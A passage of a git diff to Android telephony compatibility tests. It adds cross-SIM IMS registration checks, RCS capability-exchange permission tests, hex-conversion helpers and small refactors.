+                                                    .DATA_THROTTLING_ACTION_THROTTLE_PRIMARY_CARRIER
                                             )
                                             .setCompletionDurationMillis(-1)
                                             .build())
-                                    .build()));
+                            .build()));
         } catch (IllegalArgumentException e) {
         }
 
@@ -3691,7 +4124,7 @@
                                             )
                                             .setCompletionDurationMillis(-1)
                                             .build())
-                                    .build()));
+                            .build()));
         } catch (IllegalArgumentException e) {
         }
     }
@@ -4062,14 +4495,13 @@
 
         synchronized (mLock) {
             t.start();
-            mLock.wait(TOLERANCE); // wait for mListener
+            mLock.wait(TOLERANCE); // wait for listener
         }
 
         // Test register
         synchronized (mLock) {
             // .registerPhoneStateListener generates an onCellLocationChanged event
-            mTelephonyManager.registerPhoneStateListener(getContext().getMainExecutor(),
-                    mMockPhoneStateListener);
+            mTelephonyManager.registerPhoneStateListener(mSimpleExecutor, mMockPhoneStateListener);
             mLock.wait(TOLERANCE);
 
             assertTrue("Test register, mOnCellLocationChangedCalled should be true.",
@@ -4080,7 +4512,7 @@
             mOnCellInfoChanged = false;
 
             CellInfoResultsCallback resultsCallback = new CellInfoResultsCallback();
-            mTelephonyManager.requestCellInfoUpdate(getContext().getMainExecutor(), resultsCallback);
+            mTelephonyManager.requestCellInfoUpdate(mSimpleExecutor, resultsCallback);
             mLock.wait(TOLERANCE);
 
             assertTrue("Test register, mOnCellLocationChangedCalled should be true.",
@@ -4119,5 +4551,12 @@
             }
         }
     }
+
+    private void setAppOpsPermissionAllowed(boolean allowed, String op) {
+        AppOpsManager appOpsManager = getContext().getSystemService(AppOpsManager.class);
+        int mode = allowed ? AppOpsManager.MODE_ALLOWED : AppOpsManager.opToDefaultMode(op);
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                appOpsManager, (appOps) -> appOps.setUidMode(op, Process.myUid(), mode));
+    }
 }
 
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
index 313dd8b..518a075 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
@@ -24,6 +24,7 @@
 import java.io.FileInputStream;
 import java.io.InputStream;
 import java.io.InputStreamReader;
+import java.lang.reflect.Field;
 import java.nio.charset.StandardCharsets;
 import java.util.function.BooleanSupplier;
 
@@ -39,6 +40,9 @@
     private static final String COMMAND_FLUSH_TELEPHONY_METRICS =
             "/system/bin/dumpsys activity service TelephonyDebugService --metricsproto";
 
+    private static final char[] HEX_DIGITS = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
+            'A', 'B', 'C', 'D', 'E', 'F' };
+
     public static void addTestEmergencyNumber(Instrumentation instr, String testNumber)
             throws Exception {
         executeShellCommand(instr, COMMAND_ADD_TEST_EMERGENCY_NUMBER + testNumber);
@@ -72,6 +76,25 @@
         return simOperator != null && simOperator.equals(operator);
     }
 
+    public static String parseErrorCodeToString(int errorCode,
+            Class<?> containingClass, String prefix) {
+        for (Field field : containingClass.getDeclaredFields()) {
+            if (field.getName().startsWith(prefix)) {
+                if (field.getType() == Integer.TYPE) {
+                    field.setAccessible(true);
+                    try {
+                        if (field.getInt(null) == errorCode) {
+                            return field.getName();
+                        }
+                    } catch (IllegalAccessException e) {
+                        continue;
+                    }
+                }
+            }
+        }
+        return String.format("??%d??", errorCode);
+    }
+
     /**
      * Executes the given shell command and returns the output in a string. Note that even
      * if we don't care about the output, we have to read the stream completely to make the
@@ -109,7 +132,6 @@
         }
     }
 
-
     public static boolean pollUntilTrue(BooleanSupplier s, int times, int timeoutMs) {
         boolean successful = false;
         for (int i = 0; i < times; i++) {
@@ -121,4 +143,37 @@
         }
         return successful;
     }
+
+    public static String toHexString(byte[] array) {
+        int length = array.length;
+        char[] buf = new char[length * 2];
+
+        int bufIndex = 0;
+        for (byte b : array) {
+            buf[bufIndex++] = HEX_DIGITS[(b >>> 4) & 0x0F];
+            buf[bufIndex++] = HEX_DIGITS[b & 0x0F];
+        }
+
+        return new String(buf);
+    }
+
+    private static int toByte(char c) {
+        if (c >= '0' && c <= '9') return (c - '0');
+        if (c >= 'A' && c <= 'F') return (c - 'A' + 10);
+        if (c >= 'a' && c <= 'f') return (c - 'a' + 10);
+
+        throw new RuntimeException("Invalid hex char '" + c + "'");
+    }
+
+    public static byte[] hexStringToByteArray(String hexString) {
+        int length = hexString.length();
+        byte[] buffer = new byte[length / 2];
+
+        for (int i = 0; i < length; i += 2) {
+            buffer[i / 2] =
+                    (byte) ((toByte(hexString.charAt(i)) << 4) | toByte(hexString.charAt(i + 1)));
+        }
+
+        return buffer;
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/util/Android.bp b/tests/tests/telephony/current/src/android/telephony/cts/util/Android.bp
index 723278f..37e05cf 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/util/Android.bp
+++ b/tests/tests/telephony/current/src/android/telephony/cts/util/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "telephony-cts-utils",
     srcs: [
@@ -24,4 +20,4 @@
     libs: [
         "compatibility-device-util-axt",
     ],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
index 80cfc02..eae33de 100644
--- a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
@@ -481,7 +481,7 @@
     private PendingIntent createCallbackIntent(String action) {
         Intent intent = new Intent(action);
         return PendingIntent.getBroadcast(
-                getContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT);
+                getContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     private static class CallbackReceiver extends BroadcastReceiver {
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java
index 67b5116..c6f9ba7 100644
--- a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java
@@ -74,7 +74,7 @@
                         getApplicationContext(),
                         0 /* requestCode */,
                         resolutionActivityIntent,
-                        PendingIntent.FLAG_ONE_SHOT);
+                        PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         // add pending intent to extra
         Intent resultIntent = new Intent();
@@ -93,7 +93,7 @@
     private PendingIntent createCallbackIntent(String action) {
         Intent intent = new Intent(action);
         return PendingIntent.getBroadcast(
-                getApplicationContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT);
+                getApplicationContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     private void sendCallbackAndFinish(int resultCode) {
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
index a965d7b..62f4fc8 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
@@ -261,6 +261,51 @@
     }
 
     /**
+     * Set the cross SIM setting and ensure it is queried successfully.
+     * Also ensure the ContentObserver is triggered properly.
+     */
+    @Test
+    public void testCrossSIMSetting() throws Exception {
+        PersistableBundle bundle = new PersistableBundle();
+        // Do not worry about provisioning for this test
+        bundle.putBoolean(KEY_CARRIER_VOLTE_OVERRIDE_WFC_PROVISIONING_BOOL, false);
+        bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_VOLTE_PROVISIONING_REQUIRED_BOOL, false);
+        overrideCarrierConfig(bundle);
+        // Register Observer
+        Uri callingUri = Uri.withAppendedPath(
+                SubscriptionManager.CROSS_SIM_ENABLED_CONTENT_URI, "" + sTestSub);
+        CountDownLatch contentObservedLatch = new CountDownLatch(1);
+        ContentObserver observer = createObserver(callingUri, contentObservedLatch);
+
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        ImsMmTelManager mMmTelManager = imsManager.getImsMmTelManager(sTestSub);
+
+        boolean isEnabled = ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                mMmTelManager, ImsMmTelManager::isCrossSimCallingEnabledByUser, ImsException.class,
+                "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setCrossSimCallingEnabled(!isEnabled),  ImsException.class,
+                "android.permission.MODIFY_PHONE_STATE");
+
+        waitForLatch(contentObservedLatch, observer);
+        boolean isEnabledResult = ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                mMmTelManager,
+                ImsMmTelManager::isCrossSimCallingEnabledByUser,
+                ImsException.class,
+                "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        assertEquals("isCrossSimCallingEnabledByUser did not match"
+                        + "value set by setCrossSimCallingEnabled",
+                !isEnabled, isEnabledResult);
+
+        // Set back to default
+        ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setCrossSimCallingEnabled(isEnabled),
+                ImsException.class,
+                "android.permission.MODIFY_PHONE_STATE");
+        overrideCarrierConfig(null);
+    }
+
+    /**
      * Set the VoWiFi roaming setting and ensure it is queried successfully. Also ensure the
      * ContentObserver is triggered properly.
      */
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsRegistrationAttributesTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsRegistrationAttributesTest.java
index 55a8d0c..666c42c 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsRegistrationAttributesTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsRegistrationAttributesTest.java
@@ -40,7 +40,6 @@
         featureTags.add("+g.3gpp.icsi-ref=\"urn%3Aurn-7%3A3gpp-service.ims.icsi.oma.cpm.session\"");
         featureTags.add("+g.gsma.callcomposer");
 
-
         // IWLAN
         ImsRegistrationAttributes attr = new ImsRegistrationAttributes.Builder(
                 ImsRegistrationImplBase.REGISTRATION_TECH_IWLAN).setFeatureTags(featureTags)
@@ -49,6 +48,8 @@
                 attr.getRegistrationTechnology());
         assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WLAN,
                 attr.getTransportType());
+        assertEquals(0, (attr.getAttributeFlags()
+                & ImsRegistrationAttributes.ATTR_EPDG_OVER_CELL_INTERNET));
         assertEquals(featureTags, attr.getFeatureTags());
 
         //LTE
@@ -58,6 +59,21 @@
                 attr.getRegistrationTechnology());
         assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN,
                 attr.getTransportType());
+        assertEquals(0, (attr.getAttributeFlags()
+                & ImsRegistrationAttributes.ATTR_EPDG_OVER_CELL_INTERNET));
+        assertNotNull(attr.getFeatureTags());
+        assertEquals(0, attr.getFeatureTags().size());
+
+        // cross sim
+        attr = new ImsRegistrationAttributes.Builder(
+                ImsRegistrationImplBase.REGISTRATION_TECH_CROSS_SIM).build();
+        assertEquals(ImsRegistrationImplBase.REGISTRATION_TECH_CROSS_SIM,
+                attr.getRegistrationTechnology());
+        assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WLAN,
+                attr.getTransportType());
+        assertEquals(ImsRegistrationAttributes.ATTR_EPDG_OVER_CELL_INTERNET,
+                (attr.getAttributeFlags()
+                        & ImsRegistrationAttributes.ATTR_EPDG_OVER_CELL_INTERNET));
         assertNotNull(attr.getFeatureTags());
         assertEquals(0, attr.getFeatureTags().size());
     }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
index db31a7f..2d81500 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
@@ -834,6 +834,21 @@
         assertEquals(0, attrResult.getAttributeFlags());
         assertEquals(featureTags, attrResult.getFeatureTags());
 
+        // move to cross sim
+        ImsRegistrationAttributes xSimTagsAttr = new ImsRegistrationAttributes.Builder(
+                ImsRegistrationImplBase.REGISTRATION_TECH_CROSS_SIM)
+                .setFeatureTags(featureTags)
+                .build();
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistering(xSimTagsAttr);
+        attrResult = waitForResult(mRegQueue);
+        assertNotNull(attrResult);
+        assertEquals(ImsRegistrationImplBase.REGISTRATION_TECH_CROSS_SIM,
+                attrResult.getRegistrationTechnology());
+        assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WLAN, attrResult.getTransportType());
+        assertEquals(ImsRegistrationAttributes.ATTR_EPDG_OVER_CELL_INTERNET,
+                attrResult.getAttributeFlags());
+        assertEquals(featureTags, attrResult.getFeatureTags());
+
         // Complete registration
         sServiceConnector.getCarrierService().getImsRegistration().onRegistered(lteTagsAttr);
         attrResult = waitForResult(mRegQueue);
@@ -844,6 +859,17 @@
         assertEquals(0, attrResult.getAttributeFlags());
         assertEquals(featureTags, attrResult.getFeatureTags());
 
+        // move to cross sim
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistered(xSimTagsAttr);
+        attrResult = waitForResult(mRegQueue);
+        assertNotNull(attrResult);
+        assertEquals(ImsRegistrationImplBase.REGISTRATION_TECH_CROSS_SIM,
+                attrResult.getRegistrationTechnology());
+        assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WLAN, attrResult.getTransportType());
+        assertEquals(ImsRegistrationAttributes.ATTR_EPDG_OVER_CELL_INTERNET,
+                attrResult.getAttributeFlags());
+        assertEquals(featureTags, attrResult.getFeatureTags());
+
         try {
             automan.adoptShellPermissionIdentity();
             ImsManager imsManager = getContext().getSystemService(ImsManager.class);
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
index 19f5605..73d71f6 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
@@ -368,30 +368,131 @@
             }
         }
 
-        // getUcePublishState
+        // Connect to the TestImsService
+        connectTestImsService();
+
+        // getUcePublishState without permission
         try {
             uceAdapter.getUcePublishState();
-            fail("getUcePublishState should require READ_PRIVILEGED_PHONE_STATE.");
+            fail("getUcePublishState should require READ_PRIVILEGED_PHONE_STATE permission.");
         } catch (SecurityException e) {
             //expected
         }
 
-        // requestCapabilities
+        // getUcePublishState with permission
         try {
-            uceAdapter.requestCapabilities(numbers, Runnable::run,
-                    new RcsUceAdapter.CapabilitiesCallback() {
-                        @Override
-                        public void onCapabilitiesReceived(
-                                List<RcsContactUceCapability> capabilities) {}
-                        @Override
-                        public void onComplete() {}
-                        @Override
-                        public void onError(int errorCode, long retryAfterMilliseconds) {}
-                    });
-            fail("requestCapabilities should require READ_PRIVILEGED_PHONE_STATE.");
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(uceAdapter,
+                    (m) -> m.getUcePublishState(), ImsException.class,
+                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        } catch (SecurityException e) {
+            fail("getUcePublishState should succeed with READ_PRIVILEGED_PHONE_STATE.");
+        } catch (ImsException e) {
+            // unsupported is a valid fail cause.
+            if (e.getCode() != ImsException.CODE_ERROR_UNSUPPORTED_OPERATION) {
+                fail("getUcePublishState failed with code " + e.getCode());
+            }
+        }
+
+        final RcsUceAdapter.OnPublishStateChangedListener publishStateListener = (state) -> { };
+
+        // addOnPublishStateChangedListener without permission
+        try {
+            uceAdapter.addOnPublishStateChangedListener(Runnable::run, publishStateListener);
+            fail("addOnPublishStateChangedListener should require "
+                    + "READ_PRIVILEGED_PHONE_STATE");
+        } catch (SecurityException e) {
+            // expected
+        }
+
+        // addOnPublishStateChangedListener with permission.
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(uceAdapter,
+                    (m) -> m.addOnPublishStateChangedListener(Runnable::run, publishStateListener),
+                    ImsException.class,
+                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        } catch (SecurityException e) {
+            fail("addOnPublishStateChangedListener should succeed with "
+                    + "READ_PRIVILEGED_PHONE_STATE.");
+        } catch (ImsException e) {
+            // unsupported is a valid fail cause.
+            if (e.getCode() != ImsException.CODE_ERROR_UNSUPPORTED_OPERATION) {
+                fail("addOnPublishStateChangedListener failed with code " + e.getCode());
+            }
+        }
+
+        // removeOnPublishStateChangedListener without permission
+        try {
+            uceAdapter.removeOnPublishStateChangedListener(publishStateListener);
+            fail("removeOnPublishStateChangedListener should require "
+                    + "READ_PRIVILEGED_PHONE_STATE");
+        } catch (SecurityException e) {
+            // expected
+        }
+
+        // Prepare the callback of the capability request
+        RcsUceAdapter.CapabilitiesCallback callback = new RcsUceAdapter.CapabilitiesCallback() {
+            @Override
+            public void onCapabilitiesReceived(List<RcsContactUceCapability> capabilities) {
+            }
+            @Override
+            public void onComplete() {
+            }
+            @Override
+            public void onError(int errorCode, long retryAfterMilliseconds) {
+            }
+        };
+
+        // requestCapabilities without permission
+        try {
+            uceAdapter.requestCapabilities(numbers, Runnable::run , callback);
+            fail("requestCapabilities should require ACCESS_RCS_USER_CAPABILITY_EXCHANGE.");
         } catch (SecurityException e) {
             //expected
         }
+
+        // requestAvailability without permission
+        try {
+            uceAdapter.requestAvailability(sTestNumberUri, Runnable::run, callback);
+            fail("requestAvailability should require ACCESS_RCS_USER_CAPABILITY_EXCHANGE.");
+        } catch (SecurityException e) {
+            //expected
+        }
+
+        // Lunch an activity to stay in the foreground.
+        lunchUceActivity();
+
+        // requestCapabilities in the foreground
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(uceAdapter,
+                    (m) -> m.requestCapabilities(numbers, Runnable::run, callback),
+                    ImsException.class,
+                    "android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE");
+        } catch (SecurityException e) {
+            fail("requestCapabilities should succeed with ACCESS_RCS_USER_CAPABILITY_EXCHANGE.");
+        } catch (ImsException e) {
+            // unsupported is a valid fail cause.
+            if (e.getCode() != ImsException.CODE_ERROR_UNSUPPORTED_OPERATION) {
+                fail("requestCapabilities failed with code " + e.getCode());
+            }
+        }
+
+        // requestAvailability in the foreground
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(uceAdapter,
+                    (m) -> m.requestAvailability(sTestNumberUri, Runnable::run, callback),
+                    ImsException.class,
+                    "android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE");
+        } catch (SecurityException e) {
+            fail("requestAvailability should succeed with ACCESS_RCS_USER_CAPABILITY_EXCHANGE.");
+        } catch (ImsException e) {
+            // unsupported is a valid fail cause.
+            if (e.getCode() != ImsException.CODE_ERROR_UNSUPPORTED_OPERATION) {
+                fail("requestAvailability failed with code " + e.getCode());
+            }
+        }
+
+        // Finish the activity
+        finishUceActivity();
     }
 
     @Test
@@ -431,7 +532,7 @@
         // The API requestCapabilities should fail when it doesn't grant the permission.
         try {
             uceAdapter.requestCapabilities(numbers, Runnable::run, callback);
-            fail("requestCapabilities requires READ_PRIVILEGED_PHONE_STATE permission.");
+            fail("requestCapabilities requires ACCESS_USER_CAPABILITY_EXCHANGE permission.");
         } catch (SecurityException e) {
             //expected
         }
@@ -439,7 +540,7 @@
         // The API requestAvailability should fail when it doesn't grant the permission.
         try {
             uceAdapter.requestAvailability(sTestNumberUri, Runnable::run, callback);
-            fail("requestAvailability requires READ_PRIVILEGED_PHONE_STATE permission.");
+            fail("requestAvailability requires ACCESS_USER_CAPABILITY_EXCHANGE permission.");
         } catch (SecurityException e) {
             //expected
         }
@@ -452,21 +553,13 @@
         // Connect to the TestImsService
         connectTestImsService();
 
+        // Stay in the foreground.
+        lunchUceActivity();
+
         TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
                 .getCarrierService().getRcsFeature().getRcsCapabilityExchangeImpl();
 
-        // The API requestCapabilities is available to be called without exceptions.
-        try {
-            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                    uceAdapter,
-                    adapter -> adapter.requestCapabilities(numbers, Runnable::run, callback),
-                    ImsException.class,
-                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
-        } catch (SecurityException e) {
-            fail("requestCapabilities should succeed with READ_PRIVILEGED_PHONE_STATE.");
-        } catch (ImsException e) {
-            fail("requestCapabilities failed " + e);
-        }
+        requestCapabilities(uceAdapter, numbers, callback);
 
         // Verify that the callback "onError" is called with the error code NOT_ENABLED because
         // the carrier config KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL is still false.
@@ -480,19 +573,7 @@
             errorQueue.clear();
         }
 
-        // The API requestAvailability is available to be called without exceptions.
-        try {
-            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                    uceAdapter,
-                    adapter -> adapter.requestAvailability(
-                            sTestNumberUri, Runnable::run, callback),
-                    ImsException.class,
-                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
-        } catch (SecurityException e) {
-            fail("requestAvailability should succeed with READ_PRIVILEGED_PHONE_STATE.");
-        } catch (ImsException e) {
-            fail("requestAvailability failed " + e);
-        }
+        requestAvailability(uceAdapter, sTestNumberUri, callback);
 
         // Verify that the callback "onError" is called with the error code NOT_ENABLED because
         // the carrier config KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL is still false.
@@ -520,19 +601,7 @@
             cb.onTerminated("", 0L);
         });
 
-        // Call the API requestCapabilities and it should work as expected after the
-        // KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL is updated to true.
-        try {
-            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                    uceAdapter,
-                    adapter -> adapter.requestCapabilities(numbers, Runnable::run, callback),
-                    ImsException.class,
-                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
-        } catch (SecurityException e) {
-            fail("requestCapabilities should succeed with READ_PRIVILEGED_PHONE_STATE.");
-        } catch (ImsException e) {
-            fail("requestCapabilities failed " + e);
-        }
+        requestCapabilities(uceAdapter, numbers, callback);
 
         // Verify that the contact capability is received and the onCompleted is called.
         RcsContactUceCapability capability = waitForResult(capabilityQueue);
@@ -544,25 +613,14 @@
         capabilityQueue.clear();
         removeTestContactFromEab();
 
-        // Call the API requestAvailability and it should work as expected after the
-        // KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL is updated to true.
-        try {
-            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                    uceAdapter,
-                    a -> a.requestAvailability(sTestNumberUri, Runnable::run, callback),
-                    ImsException.class,
-                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
-        } catch (SecurityException e) {
-            fail("requestAvailability should succeed with READ_PRIVILEGED_PHONE_STATE");
-        } catch (ImsException e) {
-            fail("requestAvailability failed " + e);
-        }
+        requestAvailability(uceAdapter, sTestNumberUri, callback);
 
         // Verify that the contact capability is received and the onCompleted is called.
         capability = waitForResult(capabilityQueue);
         verifyCapabilityResult(capability, sTestNumberUri, REQUEST_RESULT_FOUND, true, true);
         waitForResult(completeQueue);
 
+        finishUceActivity();
         overrideCarrierConfig(null);
     }
 
@@ -578,6 +636,9 @@
         // Connect to the TestImsService
         setupTestImsService(uceAdapter, true, true, false);
 
+        // Stay in the foreground
+        lunchUceActivity();
+
         List<Uri> contacts = Collections.singletonList(sTestNumberUri);
 
         TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
@@ -621,18 +682,7 @@
                 cb.onCommandError(cmdError);
             });
 
-            // Call the exposed API "requestCapabilities" to retrieve the contact's capabilities.
-            try {
-                ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                        uceAdapter,
-                        adapter -> adapter.requestCapabilities(contacts, Runnable::run, callback),
-                        ImsException.class,
-                        "android.permission.READ_PRIVILEGED_PHONE_STATE");
-            } catch (SecurityException e) {
-                fail("requestCapabilities should succeed with READ_PRIVILEGED_PHONE_STATE.");
-            } catch (ImsException e) {
-                fail("requestCapabilities failed " + e);
-            }
+            requestCapabilities(uceAdapter, contacts, callback);
 
             // Verify that the callback "onError" is called with the expected error code.
             try {
@@ -645,18 +695,7 @@
                 retryAfterQueue.clear();
             }
 
-            // Call another exposed API "requestAvailability" to retrieve the capabilities.
-            try {
-                ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                        uceAdapter,
-                        adapter -> adapter.requestAvailability(sTestNumberUri,
-                                Runnable::run, callback), ImsException.class,
-                                "android.permission.READ_PRIVILEGED_PHONE_STATE");
-            } catch (SecurityException e) {
-                fail("requestAvailability should succeed with READ_PRIVILEGED_PHONE_STATE");
-            } catch (ImsException e) {
-                fail("requestAvailability failed " + e);
-            }
+            requestAvailability(uceAdapter, sTestNumberUri, callback);
 
             // Verify that the callback "onError" is called with the expected error code.
             try {
@@ -670,6 +709,7 @@
             }
         });
 
+        finishUceActivity();
         overrideCarrierConfig(null);
     }
 
@@ -769,6 +809,9 @@
             }
         }, RcsUceAdapter.ERROR_SERVER_UNAVAILABLE);
 
+        // Stay in the foreground.
+        lunchUceActivity();
+
         TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
                 .getCarrierService().getRcsFeature().getRcsCapabilityExchangeImpl();
 
@@ -778,19 +821,7 @@
                 cb.onNetworkResponse(networkResp.getKey(), networkResp.getValue());
             });
 
-            // Request capabilities by calling the API requestCapabilities
-            try {
-                ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                        uceAdapter,
-                        adapter -> adapter.requestCapabilities(numbers, Runnable::run, callback),
-                        ImsException.class,
-                        "android.permission.READ_PRIVILEGED_PHONE_STATE");
-            } catch (SecurityException e) {
-                fail("requestCapabilities should succeed with READ_PRIVILEGED_PHONE_STATE.");
-            } catch (ImsException e) {
-                fail("requestCapabilities failed " + e);
-            }
-
+            requestCapabilities(uceAdapter, numbers, callback);
             // Verify that the callback "onError" is called with the expected error code.
             try {
                 assertEquals(expectedCallbackResult.intValue(), waitForIntResult(errorQueue));
@@ -802,18 +833,7 @@
                 retryAfterQueue.clear();
             }
 
-            // Request capabilities by calling the API requestAvailability
-            try {
-                ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                        uceAdapter,
-                        a -> a.requestAvailability(sTestNumberUri, Runnable::run, callback),
-                        ImsException.class,
-                        "android.permission.READ_PRIVILEGED_PHONE_STATE");
-            } catch (SecurityException e) {
-                fail("requestAvailability should succeed with READ_PRIVILEGED_PHONE_STATE");
-            } catch (ImsException e) {
-                fail("requestAvailability failed " + e);
-            }
+            requestAvailability(uceAdapter, sTestNumberUri, callback);
 
             // Verify that the callback "onError" is called with the expected error code.
             try {
@@ -836,18 +856,7 @@
                         networkResp.getKey(), networkResp.getValue());
             });
 
-            // Request capabilities by calling the API requestCapabilities
-            try {
-                ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                        uceAdapter,
-                        adapter -> adapter.requestCapabilities(numbers, Runnable::run, callback),
-                        ImsException.class,
-                        "android.permission.READ_PRIVILEGED_PHONE_STATE");
-            } catch (SecurityException e) {
-                fail("requestCapabilities should succeed with READ_PRIVILEGED_PHONE_STATE.");
-            } catch (ImsException e) {
-                fail("requestCapabilities failed " + e);
-            }
+            requestCapabilities(uceAdapter, numbers, callback);
 
             // Verify that the callback "onError" is called with the expected error code.
             try {
@@ -860,18 +869,7 @@
                 retryAfterQueue.clear();
             }
 
-            // Request capabilities by calling the API requestAvailability
-            try {
-                ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                        uceAdapter,
-                        a -> a.requestAvailability(sTestNumberUri, Runnable::run, callback),
-                        ImsException.class,
-                        "android.permission.READ_PRIVILEGED_PHONE_STATE");
-            } catch (SecurityException e) {
-                fail("requestAvailability should succeed with READ_PRIVILEGED_PHONE_STATE");
-            } catch (ImsException e) {
-                fail("requestAvailability failed " + e);
-            }
+            requestAvailability(uceAdapter, sTestNumberUri, callback);
 
             // Verify that the callback "onError" is called with the expected error code.
             try {
@@ -892,18 +890,7 @@
             cb.onNetworkResponse(networkResp, networkRespReason);
         });
 
-        // Request the capabilities by calling the API requestAvailability
-        try {
-            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                    uceAdapter,
-                    a -> a.requestAvailability(sTestNumberUri, Runnable::run, callback),
-                    ImsException.class,
-                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
-        } catch (SecurityException e) {
-            fail("requestAvailability should succeed with READ_PRIVILEGED_PHONE_STATE");
-        } catch (ImsException e) {
-            fail("requestAvailability failed " + e);
-        }
+        requestAvailability(uceAdapter, sTestNumberUri, callback);
 
         // Verify that the callback "onError" is called with the error code FORBIDDEN
         try {
@@ -916,18 +903,7 @@
             retryAfterQueue.clear();
         }
 
-        // Request the capabilities again after the ImsService return the 403 error.
-        try {
